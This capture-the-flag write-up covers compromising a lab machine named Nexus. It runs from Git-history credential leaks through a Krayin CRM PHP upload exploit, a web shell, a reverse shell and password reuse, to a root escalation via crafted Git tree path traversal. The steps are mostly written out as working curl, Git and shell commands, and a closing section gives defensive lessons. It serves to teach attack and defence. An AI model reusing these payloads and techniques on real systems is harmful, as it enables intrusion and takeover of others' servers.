Author: Maccioni Andrea


Contents

  1. Reconnaissance
  2. Web Enumeration & Virtual Hosts
  3. Gitea & Git History
  4. Krayin CRM
  5. CVE-2026-38526 with curl
  6. RCE & Reverse Shell
  7. Application Enumeration
  8. SSH as jones
  9. Privilege-Escalation Enumeration
  10. Root Template Sync
  11. Vulnerability Analysis
  12. Manual Git Plumbing
  13. Malicious Commit & Push
  14. Root Write
  15. Root Access
  16. Complete Attack Chain
  17. Lessons Learned & Defensive Notes

1. Reconnaissance

The first step was to identify the exposed services and establish the HTTP virtual-host context.

The target is represented as $TARGET_IP.

export TARGET_IP=10.129.234.54

sudo nmap -n -Pn -sC -sV $TARGET_IP

A full TCP scan was also performed:

sudo nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP -oA nexus-tcp-ports
sudo nmap -sC -sV -p 22,80 -T4 $TARGET_IP -oA nexus-tcp-full

Relevant results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority — Powering the Nation's Future

HTTP redirected to:

nexus.htb

Add the hostname locally:

echo "$TARGET_IP nexus.htb" | sudo tee -a /etc/hosts

At this point, SSH and HTTP were the main exposed services, with HTTP being the primary initial attack surface.


2. Web Enumeration & Virtual Hosts

2.1 Main website

The main website was enumerated with curl:

curl -sS http://nexus.htb/ -o nexus.html

Search for email addresses:

grep -Eoi '[A-Za-z0-9._%+-]+@nexus\.htb' nexus.html | sort -u

The Careers section exposed:

This provided a confirmed username that could later be correlated with credentials.


2.2 Virtual-host discovery

The same IP hosted multiple applications behind name-based routing.

Virtual hosts were fuzzed using FFUF:

ffuf -u http://nexus.htb/ \
  -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -fs 154

Relevant results:

git       [Status: 200, Size: 14472]
billing   [Status: 302, Size: 390]

Add both hosts:

echo "$TARGET_IP git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

The resulting attack surface was:

http://nexus.htb/          -> Corporate website
http://git.nexus.htb/      -> Gitea
http://billing.nexus.htb/  -> Krayin CRM

The two new virtual hosts became the important components of the attack chain.


3. Gitea & Git History

The Git service was running Gitea.

First, enumerate the API:

curl -sS http://git.nexus.htb/api/v1/version

Repository enumeration:

curl -sS 'http://git.nexus.htb/api/v1/repos/search?limit=50' | python3 -m json.tool

A public repository named:

admin/krayin-docker-setup

was identified.

Clone the repository:

git clone http://git.nexus.htb/admin/krayin-docker-setup.git
cd krayin-docker-setup

The current working tree was not enough. Git history was inspected:

git log --oneline --all

Search specifically for .env history:

git log --all -- .env

Inspect changes:

git log -p -- .env

Search for database credentials:

git log -p | grep -i DB_PASSWORD

Once the relevant commit was identified:

git show <COMMIT_ID>:.env

or:

git show <COMMIT_ID> -- .env

An older revision contained credentials that were no longer present in the current working tree.

This demonstrated an important Git security issue:

Removing a secret from the latest revision does not remove it from Git history.

The recovered credentials were used with the previously discovered:

This provided authenticated access to the billing application.

Passwords are intentionally redacted from this write-up.


4. Krayin CRM

The billing host exposed Krayin CRM.

Initial enumeration:

curl -i http://billing.nexus.htb/

Technology indicators could be searched with:

curl -sS http://billing.nexus.htb/ | grep -Ei 'krayin|laravel|debugbar|version'

After authentication, the administrative interface was accessible at:

http://billing.nexus.htb/admin/leads

The relevant upload endpoint was:

POST /admin/tinymce/upload

This endpoint was vulnerable to CVE-2026-38526, allowing an authenticated user to upload a PHP file.

Instead of using Burp Suite or a black-box Python exploit, the entire process was reproduced manually using curl.


5. CVE-2026-38526 with curl

5.1 Initial upload attempt

The first upload attempt supplied the authenticated session but did not include the Laravel CSRF token:

curl -i -X POST \
  'http://billing.nexus.htb/admin/tinymce/upload' \
  -b "krayin_crm_session=$SESSION" \
  -F '[email protected];filename=image.php;type=image/jpeg'

The server returned:

HTTP/1.1 419 unknown status

{
    "message": "CSRF token mismatch."
}

This was useful information.

The authenticated session was valid, but the upload endpoint required the current Laravel _token.


5.2 Retrieve the authenticated page

A fresh authenticated page was downloaded:

rm -f nexus.cookies leads.html

SESSION='<authenticated krayin_crm_session>'

curl -sS \
  -b "krayin_crm_session=$SESSION" \
  -c nexus.cookies \
  'http://billing.nexus.htb/admin/leads' \
  -o leads.html

The cookie jar is important because it allows the same session to be maintained across requests.


5.3 Extract the CSRF token

The token was extracted automatically from the HTML:

TOKEN=$(python3 - <<'PY'
import re

s=open("leads.html").read()

m=re.search(
    r'name=["\']_token["\'][^>]*value=["\']([^"\']+)',
    s
)

if not m:
    m=re.search(
        r'value=["\']([^"\']+)["\'][^>]*name=["\']_token["\']',
        s
    )

print(m.group(1) if m else "")
PY
)

echo "$TOKEN"

This produced the current Laravel CSRF token.


5.4 Create the PHP payload

The PHP payload was intentionally simple:

cat > payload.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF

Verify it:

cat payload.php

The payload executes the command supplied through the cmd GET parameter.


5.5 Upload the PHP file

The important part of the exploit was that the multipart file was declared as an image:

Content-Type: image/jpeg

while retaining a PHP extension.

The request:

curl -i -X POST \
  'http://billing.nexus.htb/admin/tinymce/upload' \
  -b nexus.cookies \
  -c nexus.cookies \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Referer: http://billing.nexus.htb/admin/leads' \
  -F "_token=$TOKEN" \
  -F '[email protected];filename=image.php;type=image/jpeg'

The server accepted the upload and returned a JSON response similar to:

{
  "location": "http://billing.nexus.htb/storage/tinymce/<random>.php"
}

The important path was:

/storage/tinymce/<random>.php

An earlier incorrect path under:

/storage/media/uploads/

returned:

404 Not Found

The correct storage directory was:

/storage/tinymce/

6. RCE & Reverse Shell

6.1 Confirm command execution

Before attempting a reverse shell, command execution was verified.

curl 'http://billing.nexus.htb/storage/tinymce/<random>.php?cmd=id'

The response:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

confirmed:

Remote Command Execution as www-data

This was the first shell-level foothold.


6.2 Start a listener

On Kali:

rlwrap nc -lvnp 4444

The vulnerable PHP endpoint was then used to invoke a reverse shell.

The exact reverse-shell command is environment-dependent and was URL-encoded when necessary:

curl 'http://billing.nexus.htb/storage/tinymce/<random>.php?cmd=<URL-encoded-reverse-shell>'

A connection was received by the listener.

The resulting shell was:

www-data@nexus:~/krayin/storage/app/public/tinymce$

The uploaded PHP file was visible:

ls

Output:

<random>.php

A basic reverse shell may report:

bash: cannot set terminal process group
bash: no job control in this shell

This is normal for a basic reverse shell without a proper pseudo-terminal.


6.3 Stabilize the shell

A Python PTY can be used:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Then:

export TERM=xterm-256color
export SHELL=/bin/bash

And optionally:

stty rows 60 cols 156

At this point, the shell was considerably easier to use.


7. Application Enumeration

The Krayin application source was located under:

~/krayin

Move into the directory:

cd ~/krayin
pwd
ls -la

The .env file was particularly interesting.


7.1 Inspect the environment

grep -E '^(DB_|APP_|ADMIN_|USER_|PASSWORD|SECRET)' ~/krayin/.env

Relevant configuration:

APP_NAME="Krayin CRM"
APP_ENV=local
APP_DEBUG=true
APP_URL=http://billing.nexus.htb

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=<redacted>

The live application configuration therefore contained a plaintext database password.

This was a key post-exploitation discovery.


7.2 Enumerate local users

Search specifically for jones:

grep '^jones:' /etc/passwd

Result:

jones:x:1000:1000:,,,:/home/jones:/bin/bash

Enumerate interactive accounts:

getent passwd | grep -E '/(bash|sh)$'

Relevant users included:

root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

The important discovery was that the database password found in .env was reused by the local jones account.

This converted application access into an interactive system account.


8. SSH as jones

From Kali:

The password recovered from the Krayin .env was accepted.

Verify the account:

whoami
id
pwd

Expected result:

jones
uid=1000(jones) gid=1000(jones) groups=1000(jones)
/home/jones

The user flag was then obtained:

cat ~/user.txt

The flag itself is intentionally omitted.

At this point the objective shifted from initial access to privilege escalation.


9. Privilege-Escalation Enumeration

Standard privilege-escalation checks were performed first.

9.1 Sudo

sudo -l

9.2 SUID binaries

find / -perm -4000 -type f 2>/dev/null

9.3 Processes

ps auxww

9.4 Systemd timers

systemctl list-timers --all

The interesting result was:

gitea-template-sync.timer

This timer executed frequently.

The timer was inspected:

systemctl cat gitea-template-sync.timer

The associated service:

systemctl cat gitea-template-sync.service

returned:

[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

The important observations were:

  1. The service runs as root.
  2. It executes a custom Python script.
  3. The script processes attacker-influenced Gitea repository data.
  4. The timer runs frequently enough to make exploitation practical.

9.5 Inspect the script

First verify permissions:

test -w /etc/gitea/template-sync.py && echo writable || echo not-writable

Then:

ls -l /etc/gitea/template-sync.py

Read the script:

sed -n '1,260p' /etc/gitea/template-sync.py

The script itself was not writable.

Therefore, the exploitation target was its logic.


10. Root Template Sync

The script performs several operations.

It defines:

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

The script searches Gitea for repositories marked as templates.

For each template repository, it identifies the corresponding bare repository and executes:

result = subprocess.run(
    GIT + ['ls-tree', '-r', 'HEAD'],
    cwd=bare_path,
    capture_output=True,
    text=True,
    timeout=10
)

The returned Git tree is parsed.

For each blob:

target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)

The blob is then retrieved:

cat_result = subprocess.run(
    GIT + ['cat-file', 'blob', objhash],
    cwd=bare_path,
    capture_output=True,
    timeout=10
)

Finally, the content is written:

with open(target, 'wb') as f:
    f.write(cat_result.stdout)

The security problem is immediately visible:

filepath

comes from the Git tree, but is treated as a trusted filesystem path.

The service is also running as:

root

10.1 Monitor the timer and logs

Timer status:

systemctl status gitea-template-sync.timer

Timer enumeration:

systemctl list-timers --all | grep gitea-template-sync

Synchronization logs:

tail -n 50 /var/log/template-sync.log

During exploitation, the log could also be followed live:

tail -f /var/log/template-sync.log

11. Vulnerability Analysis

The intended destination looks like:

/home/git/template-staging/jones/Template-pwn/<filepath>

The attacker controls the Git tree.

The critical value is therefore:

<filepath>

A malicious tree can contain:

../../../../../root/.ssh/authorized_keys

The vulnerable Python code effectively performs:

target = os.path.join(
    "/home/git/template-staging/jones/Template-pwn",
    "../../../../../root/.ssh/authorized_keys"
)

Five parent-directory traversals escape:

/home/git/template-staging/jones/Template-pwn

and eventually reach:

/

The final path resolves to:

/root/.ssh/authorized_keys

Because the synchronization process is running as root, the attacker-controlled Git blob can therefore be written to a root-owned file.


11.1 Verify Git’s low-level behavior

The important question was whether Git tree objects could actually contain ...

The low-level Git plumbing was tested directly:

printf "040000 tree <TREE_HASH>\t..\n" | git mktree

Git accepted the tree entry.

This distinction is important:

  • Normal Git commands perform additional filename validation.
  • Git’s underlying object model is more primitive.
  • git mktree allows manually constructed tree objects.
  • The vulnerable application trusts the resulting tree paths.

Therefore, the malicious tree did not need to be produced with git add.

It could be constructed directly.


12. Manual Git Plumbing

Instead of using a pre-built Python exploit, the final privilege escalation was constructed manually using Git’s low-level object commands.

The process involved:

Blob
  |
  v
authorized_keys tree
  |
  v
.ssh tree
  |
  v
root tree
  |
  v
../../../../../ wrappers
  |
  v
malicious root tree
  |
  v
commit
  |
  v
refs/heads/main
  |
  v
Gitea

This makes the vulnerability much easier to understand.


12.1 Generate the SSH key

Create an Ed25519 key:

ssh-keygen -t ed25519 -f /tmp/.k -N ""

Display the public key:

cat /tmp/.k.pub

The private key remains on Kali.


12.2 Create the template repository

Create a working directory:

mkdir -p ~/nexus-template-pwn
cd ~/nexus-template-pwn

Initialize Git:

git init

Set the author information:

git config user.name "labuser"
git config user.email "labuser@kali"

Add the remote:

git remote add origin http://git.nexus.htb/jones/Template-pwn.git

12.3 Create a normal commit

Create a normal file:

echo "initial" > README.md

Stage and commit:

git add README.md
git commit -m "initial"

Ensure the branch is called main:

git branch -M main

Inspect the normal tree:

git ls-tree -r HEAD

Inspect the remote:

git remote -v

At this point the repository is completely normal.


13. Malicious Commit & Push

13.1 Create the SSH key blob

Read the public key:

KEY=$(cat /tmp/.k.pub)

Store it as a Git blob:

BLOB=$(printf '%s\n' "$KEY" | git hash-object -w --stdin)

Display the resulting object:

echo "$BLOB"

Confirm the object type:

git cat-file -t "$BLOB"

Expected:

blob

Inspect its content:

git cat-file -p "$BLOB"

The blob now contains the attacker’s SSH public key.


13.2 Create the authorized_keys tree

Create a tree containing the blob:

AUTH_TREE=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)

Display it:

echo "$AUTH_TREE"

Inspect it:

git ls-tree "$AUTH_TREE"

Conceptually:

authorized_keys
       |
       v
     BLOB

13.3 Create the .ssh tree

Place the previous tree beneath .ssh:

SSH_TREE=$(printf "040000 tree %s\t.ssh\n" "$AUTH_TREE" | git mktree)

Display it:

echo "$SSH_TREE"

Inspect it:

git ls-tree "$SSH_TREE"

The structure is now:

.ssh/
└── authorized_keys

13.4 Create the root tree

Place .ssh beneath a directory named root:

ROOT_TREE=$(printf "040000 tree %s\troot\n" "$SSH_TREE" | git mktree)

Display it:

echo "$ROOT_TREE"

Inspect recursively:

git ls-tree -r "$ROOT_TREE"

The structure now represents:

root/
└── .ssh/
    └── authorized_keys

13.5 Add five parent traversals

This is the key step.

Start with:

TREE=$ROOT_TREE

Wrap the tree five times in a directory named ..:

for i in {1..5}; do
    TREE=$(printf "040000 tree %s\t..\n" "$TREE" | git mktree)
    echo "level $i: $TREE"
done

The final tree contains the malicious path.

Verify it:

git ls-tree -r "$TREE"

The important result is:

100644 blob <KEY_BLOB>    ../../../../../root/.ssh/authorized_keys

This is the decisive verification.

The malicious filesystem path exists inside the Git tree object, but no file has yet been written to /root.


13.6 Inspect the malicious tree

Inspect the tree object:

git cat-file -p "$TREE"

Confirm its type:

git cat-file -t "$TREE"

Optionally inspect unreachable objects:

git fsck --no-reflogs --unreachable | head

13.7 Create a commit pointing to the malicious tree

A Git repository’s HEAD points to a commit, so the malicious tree must become the tree of a commit.

Create the commit:

COMMIT=$(echo "Nexus traversal" | git commit-tree "$TREE")

Display the commit hash:

echo "$COMMIT"

Inspect the commit:

git cat-file -p "$COMMIT"

Verify the tree:

git ls-tree -r "$COMMIT"

The commit now points directly to the malicious tree.


13.8 Move the local main reference

The branch reference must point to the malicious commit:

git update-ref refs/heads/main "$COMMIT"

Verify:

git rev-parse main

Verify HEAD:

git rev-parse HEAD

Inspect the final HEAD tree:

git ls-tree -r HEAD

It should still show:

../../../../../root/.ssh/authorized_keys

13.9 Check the remote

git remote -v

Check the remote references:

git ls-remote origin

The remote still points to the original commit.


13.10 Push the malicious history

A normal push was rejected because the new commit replaced the existing branch history.

Therefore:

git push --force origin main

The remote branch was successfully replaced.

Verify:

git ls-remote origin

The remote main reference now points to the malicious commit.

This is important because the synchronization service reads:

HEAD

from the server-side bare repository.


14. Root Write

After the malicious commit was pushed, the root-owned timer was allowed to execute.

Follow the synchronization log:

tail -f /var/log/template-sync.log

The service processes the malicious tree entry:

../../../../../root/.ssh/authorized_keys

The vulnerable code effectively performs:

target = os.path.join(
    "/home/git/template-staging/jones/Template-pwn",
    "../../../../../root/.ssh/authorized_keys"
)

The resulting normalized path is:

/root/.ssh/authorized_keys

The service then writes the Git blob:

with open(target, 'wb') as f:
    f.write(cat_result.stdout)

The public SSH key generated earlier is therefore written into:

/root/.ssh/authorized_keys

Because the process runs as root, the write occurs with root privileges.

The log can be checked with:

tail -n 50 /var/log/template-sync.log

A relevant entry looks conceptually like:

[timestamp] Syncing template: jones/Template-pwn
[timestamp]   synced: ../../../../../root/.ssh/authorized_keys

At this point, the root account is prepared for SSH authentication using the corresponding private key.


15. Root Access

The private key generated on Kali was:

/tmp/.k

Secure its permissions:

chmod 600 /tmp/.k

Connect as root:

ssh -i /tmp/.k [email protected]

Verify the account:

whoami
id
pwd

Expected:

root
uid=0(root) gid=0(root) groups=0(root)
/root

The root flag can then be retrieved:

cat /root/root.txt

The flag itself is intentionally omitted.


16. Complete Attack Chain

The complete compromise path was:

Nmap
  |
  +--> 22/tcp SSH
  |
  +--> 80/tcp HTTP
        |
        v
nexus.htb
  |
  +--> Careers page
  |      |
  |      +--> [email protected]
  |
  +--> Virtual-host enumeration
         |
         +--> git.nexus.htb
         |      |
         |      +--> Public Gitea repository
         |             |
         |             +--> Git history
         |                    |
         |                    +--> Old .env
         |                           |
         |                           +--> Credentials
         |
         +--> billing.nexus.htb
                |
                +--> Krayin CRM
                       |
                       +--> Authentication
                       |
                       +--> /admin/leads
                       |
                       +--> CSRF token
                       |
                       +--> /admin/tinymce/upload
                              |
                              +--> CVE-2026-38526
                                     |
                                     +--> PHP upload
                                            |
                                            +--> RCE
                                                  |
                                                  +--> www-data
                                                        |
                                                        +--> Reverse shell
                                                              |
                                                              +--> ~/krayin/.env
                                                                    |
                                                                    +--> DB password
                                                                          |
                                                                          +--> Password reuse
                                                                                |
                                                                                +--> jones
                                                                                      |
                                                                                      +--> SSH
                                                                                            |
                                                                                            +--> User flag
                                                                                            |
                                                                                            +--> Systemd enumeration
                                                                                                  |
                                                                                                  +--> gitea-template-sync.timer
                                                                                                        |
                                                                                                        +--> root service
                                                                                                              |
                                                                                                              +--> template-sync.py
                                                                                                                    |
                                                                                                                    +--> Git-controlled filepath
                                                                                                                          |
                                                                                                                          +--> Path traversal
                                                                                                                                |
                                                                                                                                +--> /root/.ssh/authorized_keys
                                                                                                                                      |
                                                                                                                                      +--> SSH as root

17. Lessons Learned & Defensive Notes

CSRF handling

A:

419 CSRF token mismatch

response does not necessarily mean that the session is invalid.

In this case, the authenticated session was valid, but Laravel required the current _token in the upload request.

Extracting the token directly from the authenticated page made the exploit reproducible with curl.


A dedicated cookie jar was used throughout the HTTP workflow:

curl -b nexus.cookies -c nexus.cookies ...

This is useful because redirects or subsequent requests can otherwise replace a working authenticated cookie.


File upload validation

The vulnerable endpoint accepted a PHP file while its multipart MIME type was declared as:

image/jpeg

The upload was then stored under a web-accessible location and interpreted as PHP.

A secure implementation should:

  • Validate file contents rather than trusting the declared MIME type.
  • Use a strict allow-list of permitted file types.
  • Rename uploaded files.
  • Store user-controlled uploads outside executable web roots.
  • Disable script execution in upload directories.

Git history

The Git repository demonstrated why secrets must never be committed in the first place.

Removing a secret from the current version does not remove it from historical commits.

Once a credential has been committed, it should be considered compromised and rotated.


Password reuse

The live Krayin .env contained a database password.

That same password was reused by the interactive:

jones

account.

Application, database and operating-system credentials should always be unique.


Privileged filesystem writes

The root synchronization service trusted:

filepath

from Git.

This created the critical vulnerability.

A secure implementation should:

  1. Reject absolute paths.
  2. Reject .. path components.
  3. Canonicalize the destination.
  4. Verify that the resulting path remains inside the intended staging directory.
  5. Avoid interpreting repository metadata as trusted filesystem paths.

A robust conceptual check would be:

resolved = os.path.realpath(os.path.join(stage_path, filepath))
stage_root = os.path.realpath(stage_path)

if not resolved.startswith(stage_root + os.sep):
    raise ValueError("Unsafe path")

The exact implementation should additionally account for edge cases such as symlinks and path-prefix collisions.


Privilege separation

The synchronization service should not run as root unless absolutely necessary.

A dedicated unprivileged account would have dramatically reduced the impact of the path traversal.

The vulnerability would still exist, but it would no longer directly provide a root filesystem write.


Git plumbing

The final escalation is particularly useful as a learning exercise because it demonstrates Git’s internal object model.

A Git repository is built from several object types:

Blob
  |
  +--> File content

Tree
  |
  +--> Directory entries
  |
  +--> Other trees
  |
  +--> Blobs

Commit
  |
  +--> Points to a tree

Reference
  |
  +--> Points to a commit

The exploit manually created:

SSH public key
      |
      v
     blob
      |
      v
authorized_keys tree
      |
      v
   .ssh tree
      |
      v
   root tree
      |
      v
 five ".." trees
      |
      v
 malicious tree
      |
      v
     commit
      |
      v
 refs/heads/main

The vulnerable root process then interpreted the malicious Git path as a filesystem path.


Core Git commands used

git hash-object -w --stdin
git mktree
git ls-tree -r <tree>
git cat-file -p <object>
git cat-file -t <object>
git commit-tree <tree>
git update-ref refs/heads/main <commit>
git push --force origin main

These commands are worth understanding individually because they provide a direct view into how Git stores files, directories, commits and references.


Final assessment

The Nexus compromise was not the result of a single isolated vulnerability.

It was a chain of weaknesses:

Information disclosure
        +
Git history credential exposure
        +
Weak upload validation
        +
Authenticated PHP upload
        +
Application credential disclosure
        +
Password reuse
        +
Root-owned synchronization service
        +
Unsafe Git path handling
        =
Root compromise

The most important technical lesson from the final privilege escalation is that repository metadata must never be treated as a trusted filesystem boundary, especially when that metadata is materialized by a privileged process.